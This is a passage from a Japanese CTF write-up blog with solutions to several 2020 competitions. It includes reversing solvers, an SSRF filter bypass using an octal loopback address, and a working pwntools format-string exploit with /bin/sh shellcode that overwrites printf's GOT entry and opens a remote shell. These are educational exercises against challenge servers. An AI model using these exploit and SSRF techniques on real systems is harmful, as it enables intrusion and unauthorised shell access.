b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x83\x12@\n' [*] Switching to interactive mode $ ls chall flag.txt redir.sh $ cat flag.txt ctf4b{H4rd_ROP_c4f3}$ '''
Flag: ctf4b{H4rd_ROP_c4f3}
以上です!運営のみなさんお疲れさまでした!開催ありがとうございます!
※ヒープ問にヨワヨワなので、ヒープ問の復習しないと。
Harekaze mini CTF 2020 Write-up
2020/12/26 10:00 JST - 12/27 10:00 JST (24H) に開催されたCTFのWrite-upです。チーム名: whitecatsで出場して378pt. 全体51位でした。
Easy Flag Checker [rev]
このバイナリに文字列を与えると、フラグであるかどうかチェックしてくれます。 This binary checks if the input is the flag.
フラグチェック処理のGhidraでの逆コンパイル部分。param_1
が入力文字列、param_2
がfakeflag{this_is_not_the_real_flag}
という文字列。
funcs
は、インデックス0~2でそれぞれadd
、sub
、xor
の処理をするだけの関数で、fakeflagとtable
というデータを順番に処理している。table
の中身は、ソルバーに記載。
undefined8 check(long param_1,long param_2) { char cVar1; int index; index = 0; while( true ) { if (0x22 < index) { return 0; } cVar1 = (**(code **)(funcs + (long)(index % 3) * 8)) ((int)*(char *)(param_2 + index),(int)(char)table[index]); if (cVar1 < *(char *)(param_1 + index)) break; if (*(char *)(param_1 + index) < cVar1) { return 0xffffffff; } index = index + 1; } return 1; }
ソルバーは、fakeflagとtableのデータを順番に処理するだけ。xorしたデータだけprintableの範囲を超えるので、最終的に128で割った余りにしている。
# -*- coding: utf-8 funcs = ['\x96\x11\x40\x00\x00\x00\x00\x00', # return a + b '\xb4\x11\x40\x00\x00\x00\x00\x00', # return a - b '\xd4\x11\x40\x00\x00\x00\x00\x00'] # return a ^ b # -> 0: add, 1: sub(), 3: xor() def add(i, j): return ord(i) + ord(j) def sub(i, j): return ord(i) - ord(j) def xor(i, j): return ord(i) ^ ord(j) functions = [add, sub, xor] ''' table XREF[3]: Entry Point(*), check:0040124f(*), check:00401256(R) 00404060 e2 00 19 undefine 00 fb 0d 19 02 38 00404060 e2 undefined1E2h [0] XREF[3]: Entry Point(*), check:0040124f(*), check:00401256(R) 00404061 00 undefined100h [1] 00404062 19 undefined119h [2] 00404063 00 undefined100h [3] 00404064 fb undefined1FBh [4] 00404065 0d undefined10Dh [5] 00404066 19 undefined119h [6] 00404067 02 undefined102h [7] 00404068 38 undefined138h [8] 00404069 e0 undefined1E0h [9] 0040406a 22 undefined122h [10] 0040406b 12 undefined112h [11] 0040406c bd undefined1BDh [12] 0040406d ed undefined1EDh [13] 0040406e 1d undefined11Dh [14] 0040406f f5 undefined1F5h [15] 00404070 2f undefined12Fh [16] 00404071 0a undefined10Ah [17] 00404072 c1 undefined1C1h [18] 00404073 fc undefined1FCh [19] 00404074 00 undefined100h [20] 00404075 f2 undefined1F2h [21] 00404076 fc undefined1FCh [22] 00404077 51 undefined151h [23] 00404078 08 undefined108h [24] 00404079 13 undefined113h [25] 0040407a 06 undefined106h [26] 0040407b 07 undefined107h [27] 0040407c 39 undefined139h [28] 0040407d 3c undefined13Ch [29] 0040407e 05 undefined105h [30] 0040407f 39 undefined139h [31] 00404080 13 undefined113h [32] 00404081 ba undefined1BAh [33] 00404082 00 undefined100h [34] ''' table = '\xe2\x00\x19\x00\xfb\x0d\x19\x02' table += '\x38\xe0\x22\x12\xbd\xed\x1d\xf5' table += '\x2f\x0a\xc1\xfc\x00\xf2\xfc\x51' table += '\x08\x13\x06\x07\x39\x3c\x05\x39' table += '\x13\xba\x00' fake_flag = "fakeflag{this_is_not_the_real_flag}" i = 0 cVal = [] for i in range(len(fake_flag)): param0 = fake_flag[i] param1 = table[i] cVal += [functions[i % 3](param0, param1)] cVal = list(map(lambda x: x % 128, cVal)) print(''.join(map(chr, cVal))) ''' $ python3 solve.py HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!} '''
Flag: HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
Wait [rev]
Please be patient. Brute-force attacks on the score server are prohibited.
実行すると、HINT: ^HarekazeCTF\{ID[A-Z]{4}X\}$
と出力される。求めるのは[A-Z]{4}
の4文字分。実行ファイルは、フラグチェック前に3秒のsleepが実行されるので、その処理を潰して実行ファイルに対してブルートフォースするか、チェック処理のところを解析して外部で処理するかの2択ぐらい。
sleep実行処理は、いろいろとチェック処理が入っていて潰すのが面倒くさそうだったので、後者でソルバーを作成。フラグのチェック処理は、HarekazeCTF\{ID[A-Z]{4}X\}$
とSALT\x00
という文字列を結合した文字列のSHA1ハッシュが1fcce7ec44beb72c994e2cd69c462916ca8ec810
になるかの確認だけ。(最初\x00
部分が抜けていて、ちょっと気づくのに時間がかかった)
# -*- coding: utf-8 -*- from hashlib import sha1 from itertools import product def main(): # HINT: ^HarekazeCTF\{ID[A-Z]{4}X\}$ ''' debug 'HarekazeCTF{IDZZZZX}' 0x7fffffffe100: 0xe9 0xcc 0x8d 0x45 0xa1 0x44 0x28 0xee 0x7fffffffe108: 0xd2 0xa2 0x2a 0xa8 0x2b 0xfc 0x36 0x80 0x7fffffffe110: 0xa9 0x37 0xae 0x7d 0x0 0x0 0x0 0x0 ''' ''' local_78[0] = '\x1f'; local_78[1] = 0xcc; local_78[2] = 0xe7; local_78[3] = 0xec; local_78[4] = 0x44; local_78[5] = 0xbe; local_78[6] = 0xb7; local_78[7] = 0x2c; local_78[8] = 0x99; local_78[9] = 0x4e; local_78[10] = 0x2c; local_78[11] = 0xd6; local_78[12] = 0x9c; local_78[13] = 0x46; local_78[14] = 0x29; local_78[15] = 0x16; local_78[16] = 0xca; local_78[17] = 0x8e; local_78[18] = 0xc8; local_78[19] = 0x10; ''' correct_sha1 = [0x1f, 0xcc, 0xe7, 0xec, 0x44, 0xbe, 0xb7, 0x2c, 0x99, 0x4e, 0x2c, 0xd6, 0x9c, 0x46, 0x29, 0x16, 0xca, 0x8e, 0xc8, 0x10] correct_sha1_md = ''.join(map(lambda x: x[2:], map(hex, correct_sha1))) seed = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' cnt = 0 for s in product(seed, repeat=4): FLAG = 'HarekazeCTF{ID' + ''.join(s) + 'X}' FLAG += 'SALT\x00' flag_sha1 = sha1(FLAG.encode('utf-8')) flag_md = flag_sha1.hexdigest() print(cnt, FLAG, ':', flag_md, correct_sha1_md) cnt += 1 if flag_md == correct_sha1_md: print('!!!! GET FLAG !!!!') break if __name__ == '__main__': main() ''' $ python3 solve.py : 298850 HarekazeCTF{IDRACGX}SALT : c539a4d9c7352680001a03046ad37c697e609d1b 1fcce7ec44beb72c994e2cd69c462916ca8ec810 298851 HarekazeCTF{IDRACHX}SALT : 917aeeb01e576f5c66bd61f86c96e685b9895abf 1fcce7ec44beb72c994e2cd69c462916ca8ec810 298852 HarekazeCTF{IDRACIX}SALT : 1fcce7ec44beb72c994e2cd69c462916ca8ec810 1fcce7ec44beb72c994e2cd69c462916ca8ec810 !!!! GET FLAG !!!! '''
Flag: HarekazeCTF{IDRACIX}
以上です。
TokyoWesterns CTF 6th 2020 Write-up
2020/09/19 09:00 JST - 09/21 09:00 JST (48H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して469pt. 全体101位でした。warmupだけで終わった感。
- mask [misc]
- urlcheck v1 [web] [warmup]
- Reversing iS Amazing [reversing] [warmup]
- easy-hash [crypto] [warmup]
- nothing more to say 2020 [pwn] [warmup]
mask [misc]
192.168.55.86/255.255.255.0 192.168.80.198/255.255.255.128 192.168.1.228/255.255.255.128 192.168.90.68/255.255.254.0 192.168.8.214/255.255.255.128 192.168.5.197/255.255.255.128 192.168.71.90/255.255.255.0 192.168.62.55/255.255.255.192 192.168.78.209/255.255.255.128 192.168.76.216/255.255.255.128 192.168.91.202/255.255.255.128 192.168.93.108/255.255.255.0 192.168.74.76/255.255.254.0 192.168.10.88/255.255.254.0 192.168.82.236/255.255.255.128 192.168.13.246/255.255.255.128 192.168.99.228/255.255.255.128 192.168.68.83/255.255.252.0 192.168.23.113/255.255.255.192 192.168.52.113/255.255.255.192 192.168.69.99/255.255.255.0 192.168.19.114/255.255.255.192 192.168.53.236/255.255.255.128 192.168.90.117/255.255.254.0 192.168.35.90/255.255.255.0 192.168.91.121/255.255.255.0 192.168.48.49/255.255.255.192 192.168.27.104/255.255.255.0 192.168.98.204/255.255.255.128 192.168.93.87/255.255.255.0 192.168.44.113/255.255.255.192 192.168.40.104/255.255.248.0 192.168.25.227/255.255.255.128 192.168.57.50/255.255.255.192 192.168.97.115/255.255.255.0 192.168.30.47/255.255.255.192 192.168.10.102/255.255.254.0 192.168.51.209/255.255.255.128 192.168.82.125/255.255.255.192 192.168.72.125/255.255.255.192
ネットマスク付きのIPv4アドレスの一覧が問題文として与えられた。たぶんホスト部がASCII範囲になるだろうと抜き出して繋げたらBase64文字列ぽくなったので、デコードしたらフラグがでてきた。
# -*- coding: utf-8 -*- import base64 text = '''192.168.55.86/255.255.255.0 192.168.80.198/255.255.255.128 192.168.1.228/255.255.255.128 192.168.90.68/255.255.254.0 192.168.8.214/255.255.255.128 192.168.5.197/255.255.255.128 192.168.71.90/255.255.255.0 192.168.62.55/255.255.255.192 192.168.78.209/255.255.255.128 192.168.76.216/255.255.255.128 192.168.91.202/255.255.255.128 192.168.93.108/255.255.255.0 192.168.74.76/255.255.254.0 192.168.10.88/255.255.254.0 192.168.82.236/255.255.255.128 192.168.13.246/255.255.255.128 192.168.99.228/255.255.255.128 192.168.68.83/255.255.252.0 192.168.23.113/255.255.255.192 192.168.52.113/255.255.255.192 192.168.69.99/255.255.255.0 192.168.19.114/255.255.255.192 192.168.53.236/255.255.255.128 192.168.90.117/255.255.254.0 192.168.35.90/255.255.255.0 192.168.91.121/255.255.255.0 192.168.48.49/255.255.255.192 192.168.27.104/255.255.255.0 192.168.98.204/255.255.255.128 192.168.93.87/255.255.255.0 192.168.44.113/255.255.255.192 192.168.40.104/255.255.248.0 192.168.25.227/255.255.255.128 192.168.57.50/255.255.255.192 192.168.97.115/255.255.255.0 192.168.30.47/255.255.255.192 192.168.10.102/255.255.254.0 192.168.51.209/255.255.255.128 192.168.82.125/255.255.255.192 192.168.72.125/255.255.255.192 ''' mask = text.split() ans = '' for m in mask: ip, netmask = m.split('/') print(ip, netmask) ip = ip.split('.') nm = netmask.split('.') # ホスト部を繋いで、4byteの整数値に変換 t = 0 for i in range(4): tmp = int(ip[i]) & ~(int(nm[i])) t += tmp << ((3 - i) * 8) print(t, chr(t)) ans += chr(t) print(ans) print(base64.b64decode(ans)) ''' VFdDVEZ7QXJlLXlvdS11c2luZy1hLW1hc2s/fQ== b'TWCTF{Are-you-using-a-mask?}' '''
Flag: TWCTF{Are-you-using-a-mask?}
urlcheck v1 [web] [warmup]
find the flag
http://urlcheck1.chal.ctf.westerns.tokyo/ urlcheck1.tar
SSRF問題。/check-status
に送信するURLをチェックを、そのコンテンツを返してくれる。IPv4アドレスがローカルアドレス(127.0.0.1)だとadmin-status
にアクセスしてフラグが表示される。チェック関連の処理を抜き出すと以下の処理が関係する。
app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z') def valid_ip(ip): matches = app.re_ip.match(ip) if matches == None: return False ip = list(map(int, matches.groups())) if any(i > 255 for i in ip) == True: return False # Stay out of my private! if ip[0] in [0, 10, 127] \ or (ip[0] == 172 and (ip[1] > 15 or ip[1] < 32)) \ or (ip[0] == 169 and ip[1] == 254) \ or (ip[0] == 192 and ip[1] == 168): return False return True @app.route('/admin-status') def admin_status(): if flask.request.remote_addr != '127.0.0.1': return '🥺' return app.flag @app.route('/check-status') def check_status(): url = flask.request.args.get('url', '') if valid_ip(urlparse(url).netloc) == False: return '🥺' return get(url)
正規表現でのIPv4アドレス形式チェックと10進数でのローカルIPv4アドレスのチェック処理がある。URLは8進数やらなんやらIPv4アドレスの扱いが寛大だったと思うので、8進数で先頭の127を置き替えたらいけた。
チェックしてもらったURLはhttp://0177.0.0.1/admin-status
Flag: TWCTF{4r3_y0u_r34dy?n3x7_57463_15_r34l_55rf!}
Reversing iS Amazing [reversing] [warmup]
opensslを利用したRSAの暗号化処理をしている。コマンドラインの引数で文字列を渡すと、秘密鍵での暗号化後、フラグ文字列の暗号文と一致するかどうかの確認をされる。
秘密鍵は0xE11~0xE2Aのrep movsq
処理で.rodata
セクションからコピーされているので、そこから抜き出す。
# -*- coding: utf-8 -*- from pwn import * elf = ELF('./rsa') start_idx = 0xa91 - 0x960 end_idx = 0xe11 - 0x960 text = elf.section('.text')[start_idx:end_idx] text = [text[i] for i in range(6, len(text), 7)] enc_flag = b''.join(map(lambda x: x.to_bytes(1, 'little'), text)) print(enc_flag) print(len(enc_flag)) start_idx = 0x1100 - 0x010a0 seed = elf.section('.rodata')[start_idx:start_idx+(0x4c*8)] print(seed) print(len(seed)) with open('seed.dat', 'wb', buffering=0) as prv_file: prv_file.write(seed) with open('encrypted_flag', 'wb', buffering=0) as prv_file: prv_file.write(enc_flag)
あとは抜き出したデータを利用して復号処理を書く。rsaのバイナリでは、opensslの以下の関数を利用していたので、最後のRSA_private_encrypt
をRSA_public_decrypt
にしたらうまく復号できた。
#include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <openssl/bio.h> #include <openssl/evp.h> #include <openssl/err.h> #include <openssl/rsa.h> #include <openssl/engine.h> int main(int argc, void *argv[]) { char buf[1024] = {0}; char buf_eflag[1024] = {0}; char err_buf[256]; int fd; int rc; int seed_len, eflag_len; fd = open("seed.dat", O_RDONLY); if (fd == -1) { puts("Error: can not open file."); return -1; } rc = read(fd, buf, 0x260); printf("rc: %d\n", rc); seed_len = rc; close(fd); fd = open("encrypted_flag", O_RDONLY); if (fd == -1) { puts("Error: can not open file."); return -1; } rc = read(fd, buf_eflag, 128); printf("rc: %d\n", rc); eflag_len = rc; close(fd); // RSA BIO *bio; bio = BIO_new_mem_buf(buf, seed_len); if (!bio) { puts("Error: bio error."); return -1; } EVP_PKEY *pkey = NULL; EVP_PKEY *ptr; ptr = d2i_PrivateKey_bio(bio, &pkey); if (ptr == NULL) { printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf)); return -1; } RSA *rsa; rsa = EVP_PKEY_get1_RSA(pkey); if (rsa == NULL) { printf("Error: %s\n", ERR_error_string(ERR_get_error(), err_buf)); return -1; } FILE *fp; fp = fopen("tmp_rsa.dat", "wb"); RSA_print_fp(fp, rsa, 0); fclose(fp); char buf_dflag[1024] = {0}; RSA_public_decrypt(128, buf_eflag, buf_dflag, rsa, 1); printf("%s\n", buf_dflag); return 0; }
実行結果
$ gcc -o solve solve.c -lssl -lcrypto $ ./solve rc: 608 rc: 128 TWCTF{Rivest_Shamir_Adleman}
flag: TWCTF{Rivest_Shamir_Adleman}
easy-hash [crypto] [warmup]
ソースコード: easy_hash.7z
ウェブサーバー: https://crypto01.chal.ctf.westerns.tokyo
初心者の方へ: ウェブサーバーとは curl コマンドを利用して通信することができます。
(例) $ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: hello 2020'
2文字入れ替えてもハッシュが変わらないので、先頭のplを入れ替えていけた
$ curl https://crypto01.chal.ctf.westerns.tokyo -d 'twctf: lpease give me the flag of 2020' Congrats! The flag is TWCTF{colorfully_decorated_dream}
flag: TWCTF{colorfully_decorated_dream}
nothing more to say 2020 [pwn] [warmup]
4連休楽しんでください!
nothing
nothing.c
nc pwn02.chal.ctf.westerns.tokyo 18247
nothing.cのソースコード。printfで表示される通り、Format String Bugがある。
// gcc -fno-stack-protector -no-pie -z execstack #include <stdio.h> #include <stdlib.h> #include <unistd.h> void init_proc() { setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); } void read_string(char* buf, size_t length) { ssize_t n; n = read(STDIN_FILENO, buf, length); if (n == -1) exit(1); buf[n] = '\0'; } int main(void) { char buf[0x100]; init_proc(); printf("Hello CTF Players!\nThis is a warmup challenge for pwnable.\nDo you know about Format String Attack(FSA) and write the exploit code?\nPlease pwn me!\n"); while (1) { printf("> "); read_string(buf, 0x100); if (buf[0] == 'q') break; printf(buf); } return 0; }
セキュリティ機構は特になし。NXも無効なのでprintfのGOTを上書きして、スタックに入れたshellcodeを実行しsystem関数で/bin/sh
を呼ぶようにした。
ソルバーは、以下の流れで処理。
%$41$p
をprintfで表示させ、stack上にあるargv[0]のアドレスを特定。逆算してbufの先頭アドレスをゲット- bufにshellcode + format string attackの文字列を格納。stackのアドレスに0x00があるので、format string attackの文字列 + 8byte調整のpadding + stackのアドレスという形にした
- 次の
printf(">");
されたときにstack上のshellcodeが実行されて、/bin/sh起動 - あとはlsして、cat flag.txtでフラグゲット
# -*- coding: utf-8 -*- from pwn import * import time def send_payload(conn, payload=b'', delim=b'>'): print('send:', payload) conn.send(payload + b'\r\n') data = conn.recvuntil(delim) print(data) return data[:-1] srv = 'pwn02.chal.ctf.westerns.tokyo' #srv = 'localhost' port = 18247 elf = ELF('./nothing') print(elf.got) got_printf = elf.got[b'printf'] print('got.printf', hex(got_printf)) conn = remote(srv, port) data = conn.recvuntil(b'>') print(data) # %6$p -> buf # $39$p -> __libc_start_main + 0xe7 # $41$p -> argv # $66$p -> *argv payload = b'%41$p' data = send_payload(conn, payload).split() print(data) argv0_addr = int(data[0], 16) buf_addr = argv0_addr - 0x1e8 # stackのargv[0]位置からbufの先頭アドレスを逆算 print('buf_addr', hex(buf_addr)) shellcode = b'\x31\xD2\x52\x48' shellcode += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73' shellcode += b'\x68\x50\x48\x89\xe7\x52\x57\x48' shellcode += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05' print('buf addr', hex(buf_addr)) print(hex(int(buf_addr & 0xffffffff00000000))) print(hex(int(buf_addr & 0xffffffff))) buf_addr_high = (buf_addr & 0xffffffff00000000) >> 32 buf_addr_low0 = (buf_addr & 0xffff0000) >> 16 buf_addr_low1 = buf_addr & 0xffff idx_buf = 6 idx_high = 16 idx_low0 = 17 idx_low1 = 18 # create fsb code fsb_high = '%{}x%{}$n'.format(buf_addr_high - len(shellcode), idx_high) write_byte = buf_addr_high write_byte = (0x10000 + buf_addr_low0) - write_byte fsb_low0 = '%{}x%{}$hn'.format(write_byte, idx_low0) write_byte = 0x10000 + buf_addr_low0 write_byte = (0x20000 + buf_addr_low1) - write_byte fsb_low1 = '%{}x%{}$hn'.format(write_byte, idx_low1) code_len = len(shellcode) + len(fsb_high + fsb_low0 + fsb_low1) padding = '.' * ((idx_high - idx_buf) * 8 - code_len) code = fsb_high + fsb_low0 + fsb_low1 + padding code = shellcode + code.encode('utf-8') # send shellcode target_addr = got_printf print('send:', code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr)) conn.sendline(code + p64(target_addr +4) + p64(target_addr + 2) + p64(target_addr)) conn.interactive() conn.close()
うーん汚い。もっとシンプルに書きたいので、他のWriteupを見て勉強しよ。
以上です。
SECCON Beginers CTF 2020 write-up
2020/05/23 14:00 - 05/24 14:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して2136pt. 全体39位でした。
MISC
Welcome (50pt)
Welcome to SECCON Beginners CTF 2020! フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
Rulesに書いてあるDiscordのサーバーに参加したら、フラグの投稿があった。
Flag: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
emoemoencode (53pt)
Do you know emo-emo-encode?
テキストの中身は絵文字がひたすら並んでかいてあるだけ。
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
とりあえず文字コードを眺めて、先頭からフラグ形式のctf4b{
になるようにそれぞれの文字の4バイト目を計算してみる。
$ hexdump -C emoemoencode.txt 00000000 f0 9f 8d a3 f0 9f 8d b4 f0 9f 8d a6 f0 9f 8c b4 |................| 00000010 f0 9f 8d a2 f0 9f 8d bb f0 9f 8d b3 f0 9f 8d b4 |................| 00000020 f0 9f 8d a5 f0 9f 8d a7 f0 9f 8d a1 f0 9f 8d ae |................| 00000030 f0 9f 8c b0 f0 9f 8d a7 f0 9f 8d b2 f0 9f 8d a1 |................| 00000040 f0 9f 8d b0 f0 9f 8d a8 f0 9f 8d b9 f0 9f 8d 9f |................| 00000050 f0 9f 8d a2 f0 9f 8d b9 f0 9f 8d 9f f0 9f 8d a5 |................| 00000060 f0 9f 8d ad f0 9f 8c b0 f0 9f 8c b0 f0 9f 8c b0 |................| 00000070 f0 9f 8c b0 f0 9f 8c b0 f0 9f 8c b0 f0 9f 8d aa |................| 00000080 f0 9f 8d a9 f0 9f 8d bd 0a |.........| 00000089
3バイト目が0x8Cなら4バイト目を-0x80、0x8Dなら-0x40することで、デコードできた。
def main(): with open('emoemoencode.txt', 'rb') as f: data = f.read().splitlines()[0] ans = '' for idx in range(0, len(data), 4): if data[idx+2] == 0x8D: ans += chr(data[idx+3] - 0x40) elif data[idx+2] == 0x8C: ans += chr(data[idx+3] - 0x80) print('FLAG:', ans) main()
FLAG: ctf4b{stegan0graphy_by_em000000ji}
Crypto
R&B (52pt)
Do you like rhythm and blues?
ファイルの中身は、エンコードしたプログラムとエンコード結果。
from os import getenv FLAG = getenv("FLAG") FORMAT = getenv("FORMAT") def rot13(s): # snipped def base64(s): # snipped for t in FORMAT: if t == "R": FLAG = "R" + rot13(FLAG) if t == "B": FLAG = "B" + base64(FLAG) print(FLAG)
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
文字列の先頭がBなら以降の文字列はBase64エンコード、RならRot13されているだけ。
import base64 import codecs def main(): with open('encoded_flag', 'r') as f: encoded_FLAG = f.readline() print('encoded:', encoded_FLAG) FLAG = encoded_FLAG while True: t = FLAG if t[0] == 'B': # decode base64 FLAG = base64.b64decode(t[1:]).decode('utf-8') elif t[0] == 'R': # rot13 rev FLAG = codecs.decode(t[1:], 'rot13') else: print(FLAG) break main()
FLAG: ctf4b{rot_base_rot_base_rot_base_base}
Reversing
mask (62pt)
The price of mask goes down. So does the point (it's easy)!
(SHA-1 hash: c9da034834b7b699a7897d408bcb951252ff8f56)
ファイルはELFファイルで、コマンド引数にフラグを指定し、正しいとCorrect!と表示される。
Usage: ./mask [FLAG]
IDAで眺めてみると、指定したFLAG文字列を0x75でAND演算した文字列、0xEBでAND演算した文字列がそれぞれ規定の結果になるかどうかで正しいFLAGか判断している。
- FLAG文字列の各文字 AND 0x75 →
atd4`qdedtUpetepqeUdaaeUeaqau
- FLAG文字列の各文字 AND 0xEB →
c`b bk`kj`KbababcaKbacaKiacki
0x75 OR 0xEB -> 0xFFなので、それぞれ1文字ずつOR演算していけば、元のデータに復元できる。
# -*- coding: utf-8 -*- s = 'atd4`qdedtUpetepqeUdaaeUeaqau' s1 = 'c`b bk`kj`KbababcaKbacaKiacki' ans = '' for i,j in zip(s, s1): ans += chr(ord(i) | ord(j)) print(ans) # 'ctf4b{dont_reverse_face_mask}'
FLAG: ctf4b{dont_reverse_face_mask}
yakisoba (156pt)
Would you like to have a yakisoba code?
(Hint: You'd better automate your analysis)
準入力からの文字列を比較するプログラム。比較処理がごちゃごちゃしてるので、久しぶりにangrを使ってみる。
ソルバー
# -*- coding: utf-8 -*- import angr import claripy def main(): key_len = 31 pj = angr.Project('./yakisoba') input = claripy.BVS('input', 8*key_len) init_state = pj.factory.entry_state(args=['./yakisoba']) for b in input.chop(key_len): init_state.add_constraints(b != 0) sm = pj.factory.simgr(init_state) # main sm.explore(find=0x4006D2, avoid=[0x4006F7]) for f in sm.found: print(f.posix.dumps(0)) print(f.posix.dumps(1)) if __name__ == '__main__': main() ''' $ python3 solve.py WARNING | 2020-05-23 19:47:08,499 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000. b'ctf4b{sp4gh3tt1_r1pp3r1n0}\x00\x00\x00\x00\x00' b'FLAG: ' '''
FLAG: ctf4b{sp4gh3tt1_r1pp3r1n0}
ghost (279pt)
A program written by a ghost 👻
ファイルの中身は、.gs
拡張子のスクリプトっぽいファイルと、それの出力っぽいoutput.txtというファイル
chall.gs
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
output.txt
3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094
スクリプトの正体はなにかなぁと調査。問題文のwritten by ghost
を参考にGhostscript関連かなとあたりをつけて、Postscriptの文法ぽいとわかった。
このあたりを参考に読み解き。
- PostScript Language Reference Manual SECOND EDITION, Adobe System Inc.
- PostScript基礎文法最速マスター・daily dayflower
pythonに直すとこんな感じっぽい。
# -*- coding: utf-8 -*- flag = '' output = '' flag = input('') if not flag: print('I/O Error') mul = 1 for idx in range(len(flag)): get_ord = ord(flag[i]) tmp = get_ord ^ (idx + 1) tmp = tmp * mul s = 1 for j in range(463): s *= tmp s %= 64711 print(s) # output s %= 128 mul = s + 1
ASCIIコードの印字可能文字範囲で1文字ずつoutput.txtの整数値になる文字を探索するソルバーを書いた。
output = '3417 61039 39615 14756 10315 49836 44840 20086 18149 31454 35718 44949 4715 22725 62312 18726 47196 54518 2667 44346 55284 5240 32181 61722 6447 38218 6033 32270 51128 6112 22332 60338 14994 44529 25059 61829 52094' output = list(map(int, output.split())) ans = '' mul = 1 for idx in range(len(output)): for p in range(0x20, 0x7f): get_ord = p tmp = get_ord ^ (idx + 1) tmp = tmp * mul s = 1 for j in range(463): s *= tmp s %= 64711 if s == output[idx]: print(idx, s, chr(p)) ans += chr(p) s %= 128 mul = s + 1 break print('FLAG:', ans) # FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
FLAG: FLAG: ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}
siblangs (363pt)
Well, they look so similar... siblangs.apk
(SHA-1 hash: c08d002c5837ad39d509a1d09ed623003ae97229)
APK問題。とりあえずapktool、dex2jarでjarへ変換。jd-duiで怪しいクラスを調査。es.o0i.challengeapp
にValidateFlagModule.classとかあって怪しい。validateというメソッドでAES復号したローカルの文字列と入力された文字列を比較してるっぽい。
鍵も同じクラスに変数として定義されている。
private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES");
コードを抜き出して比較しているローカル文字列を表示してみると、FLAGの後半っぽい文字列が得られた。
import javax.crypto.Cipher; import javax.crypto.spec.IvParameterSpec; import javax.crypto.SecretKey; import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.GCMParameterSpec; public class Solve { //private final SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); public static void main(String[] args) { SecretKey secretKey = new SecretKeySpec("IncrediblySecure".getBytes(), 0, 16, "AES"); byte[] arrayOfByte = new byte[43]; arrayOfByte[0] = 95; arrayOfByte[1] = -59; arrayOfByte[2] = -20; arrayOfByte[3] = -93; arrayOfByte[4] = -70; arrayOfByte[5] = 0; arrayOfByte[6] = -32; arrayOfByte[7] = -93; arrayOfByte[8] = -23; arrayOfByte[9] = 63; arrayOfByte[10] = -9; arrayOfByte[11] = 60; arrayOfByte[12] = 86; arrayOfByte[13] = 123; arrayOfByte[14] = -61; arrayOfByte[15] = -8; arrayOfByte[16] = 17; arrayOfByte[17] = -113; arrayOfByte[18] = -106; arrayOfByte[19] = 28; arrayOfByte[20] = 99; arrayOfByte[21] = -72; arrayOfByte[22] = -3; arrayOfByte[23] = 1; arrayOfByte[24] = -41; arrayOfByte[25] = -123; arrayOfByte[26] = 17; arrayOfByte[27] = 93; arrayOfByte[28] = -36; arrayOfByte[29] = 45; arrayOfByte[30] = 18; arrayOfByte[31] = 71; arrayOfByte[32] = 61; arrayOfByte[33] = 70; arrayOfByte[34] = -117; arrayOfByte[35] = -55; arrayOfByte[36] = 107; arrayOfByte[37] = -75; arrayOfByte[38] = -89; arrayOfByte[39] = 3; arrayOfByte[40] = 94; arrayOfByte[41] = -71; arrayOfByte[42] = 30; try { Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding"); GCMParameterSpec gCMParameterSpec = new GCMParameterSpec(128, arrayOfByte, 0, 12); 